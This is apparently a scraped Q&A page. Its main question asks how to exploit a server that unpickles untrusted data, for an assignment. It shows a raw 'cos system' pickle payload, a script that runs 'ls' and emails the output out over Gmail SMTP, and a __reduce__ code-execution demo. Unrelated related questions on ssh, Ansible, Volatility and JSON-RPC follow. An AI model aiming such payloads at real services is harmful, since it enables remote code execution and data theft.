Pickle Exploiting - python

I have an assignment to send a pickle file to a server which unpickles anything sent to it. My plan is to have it email me back the ls command printed out. I have this file:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...#gmail.com", "password")
server.sendmail("...#gmail.com", "...#gmail.com", output)
server.quit()
How can I get the server to run this? I am trying to send a file like:
cos
system
(S''
tR.
with the python script in the ' '.
I was thinking something like:
cos
system
(S'python\n import smptlib\n ...'
tR.
but it doesn't execute the commands. How can I make it execute the python?
I've tried on my own computer and the python sends the email fine.

Do whatever friendlyness you want to do in the __reduce__ method. Please don't be evil.
import pickle
class Friendly:
def __reduce__(self):
return (self.friendly, ('executing friendly code',))
#staticmethod
def friendly(x):
print(x)
pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))
->
$ python friendly.py
loading ...
executing friendly code

Related

Run python script function in remote machine

I have script in remote device and I want to run specific function in python script in remote device
remote device has below script:
#connect.py
class ConnectDevice:
def __init__(self, ip):
connect.Device(ip)
def get_devicestate(self):
state = show.Device_State
return state
configured password less connection from source machine to remote machine
function get_devicestate return up or down.
How to get get_devicestate output from source machine. source machine has below script:
import os
import sys
import time
import getpass
import errno
import json
import subprocess
import threading
from subprocess import call
from subprocess import check_output
call(["ssh", "1.1.1.1", "\"python Connect.py\""])#This is just example how to run script from source to remote. Need help how to run function get_devicestate and get value.
At a first glance , it seems that connect.py has got more code than you have pasted in your question. Anyways, assuming connect.py does not require any input parameters to run, simply use subprocess's check_output method to get the stdout message and store it in a variable for further use.
from subprocess import check_output
out = check_output(["ssh", "1.1.1.1", "\"python Connect.py\""])

ansible: local test new module with Error:Module unable to decode valid JSON on stdin. Unable to figure out what parameters were passed

I'm new to Python. This is my first Ansible module in order to delete the SimpleDB domain from ChaosMonkey deletion.
When tested in my local venv with my Mac OS X, it keeps saying
Module unable to decode valid JSON on stdin. Unable to figure out
what parameters were passed.
Here is the code:
#!/usr/bin/python
# Delete SimpleDB Domain
from ansible.module_utils.basic import *
import boto3
def delete_sdb_domain():
fields = dict(
sdb_domain_name=dict(required=True, type='str')
)
module = AnsibleModule(argument_spec=fields)
client = boto3.client('sdb')
response = client.delete_domain(DomainName='module.params['sdb_domain_name']')
module.exit_json(changed = False, meta = response)
def main():
delete_sdb_domain()
if __name__ == '__main__':
main()
And I'm trying to pass in parameters from this file: /tmp/args.json.
and run the following command to make the local test:
$ python ./delete_sdb_domain.py /tmp/args.json
please note I'm using venv test environment on my Mac.
If you find any syntax error in my module, please also point it out.
This is not how you should test your modules.
AnsibleModule expects to have specific JSON as stdin data.
So the closest thing you can try is:
python ./delete_sdb_domain.py < /tmp/args.json
But I bet you have your json file in wrong format (no ANSIBLE_MODULE_ARGS, etc.).
To debug your modules you can use test-module script from Ansible hacking pack:
./hacking/test-module -m delete_sdb_domain.py -a "sdb_domain_name=zzz"

Volatility plugin to extract config file from memory : Crashes after yara compile function

I am trying to write a Volatility plugin to extract configuration file used by a malware from memory dump. However, when I run this plugin (without 'sudo') without root privileges the plugin crashes at the line yara.compile. If I run this plugin with 'sudo', code after yara.compile line is not getting executed. I am not sure why yara.compile is causing this problem. Could someone help me with this? Following is the code I have written:
import volatility.plugins.common as common
import volatility.utils as utils
import volatility.win32.tasks as tasks
import volatility.debug as debug
import volatility.plugins.malware.malfind as malfind
import volatility.conf as conf
import volatility.plugins.taskmods as taskmods
try:
import yara
HAS_YARA = True
except ImportError:
HAS_YARA = False
YARA_SIGS = {
'malware_conf' : 'rule malware_conf {strings: $a = /<settings/ condition: $a}'
}
class malwarescan(taskmods.PSList):
def get_vad_base(self, task, address):
for vad in task.VadRoot.traverse():
if address >= vad.Start and address < vad.End:
return vad.Start
return None
def calculate(self):
if not HAS_YARA:
debug.error('Yara must be installed for this plugin')
print "in calculate function"
kernel_space = utils.load_as(self._config)
print "before yara compile"
rules = yara.compile(sources=YARA_SIGS)
print "after yara compile"
for process in tasks.pslist(kernel_space):
if "IEXPLORE.EXE".lower() == process.ImageFileName.lower():
scanner = malfind.VadYaraScanner(task=process, rules=rules)
for hit, address in scanner.scan():
vad_base_addr = self.get_vad_base(process, address)
yield process, address
def render_text(self, outfd, data):
for process, address in data:
outfd.write("Process: {0}, Pid: {1}\n".format(process.ImageFileName, process.UniqueProcessId))
So when I run this plugin with root privilege, I dont see the line "print 'after yara compile'" gets executed. What could be the reason? Thank you.
I installed "yara" through "pip". If you install yara through pip, you actually get yara-ctypes (https://github.com/mjdorma/yara-ctypes) which is a bit different than yara-python. So I uninstalled yara-ctypes and installed yara-python. Then it worked.

json decode exception python

Sample server
I have a python script as mentioned below copied to /var/www/cgi-bin folder with permissions set to 775.
#!/usr/bin/env python
print "Content-type: text/plain\n\n";
print "testing...\n";
import cgitb; cgitb.enable()
import cgi
from jsonrpc import handleCGI, ServiceMethod
import json
from datetime import datetime
#ServiceMethod
def echo():
return "Hello"
if __name__ == "__main__":
handleCGI()
Sample Client
Now, Iam accessing this simple echo service using the below client code.
from jsonrpc import ServiceProxy
import json
s = ServiceProxy(`"http://localhost/cgi-bin/t2.py"`)
print s.echo()
1/ Iam getting the below error when i run the above client. Any thoughts?
2/ Is there any issue with httpd.conf settings?
File "/usr/lib/python2.7/site-packages/jsonrpc/proxy.py", line 43, in __call__
resp = loads(respdata)
File "/usr/lib/python2.7/site-packages/jsonrpc/json.py", line 211, in loads
raise JSONDecodeException('Expected []{}," or Number, Null, False or True')
jsonrpc.json.JSONDecodeException: Expected []{}," or Number, Null, False or True
Note: Iam using the example mentioned at the below link using cgi way of handling json.
http://json-rpc.org/wiki/python-json-rpc
Please let me know.
Thanks!
Santhosh
I know this is super late, but I found this question when I had the same problem. In hopes it helps someone else, I will post my solution.
In my case it was as simple (stupid) as making the python file itself executable. i.e. chmod 755 t2.py

How to get linux screen title from command line

How can I fetch the title of a screen session from the command line?
I came up with a very small and simple python script with pexpect to do it.
It is handy in multiuser environments where some host is reserved and status is written to screen title by user.
It works for me, feel free to make it better.
In order to fetch specific session title, you need to modify the script and call for correct session.
If you run this through remote connection as local script (through SSH for example), remember to set export TERM=xterm before execution.
try:
import pexpect
import sys
child=pexpect.spawn('screen -x')
child.sendcontrol('a');
child.send('A');
i = child.expect('Set window.*')
child.sendcontrol('c');
child.sendcontrol('a');
child.send('d');
TITLE=str(child.after)
TITLE_P=TITLE.split('7m')
if str(TITLE_P[-1]) == '':
print 'Title not found'
else:
print str(TITLE_P[-1])
except:
print 'Could not check screen Title'

Categories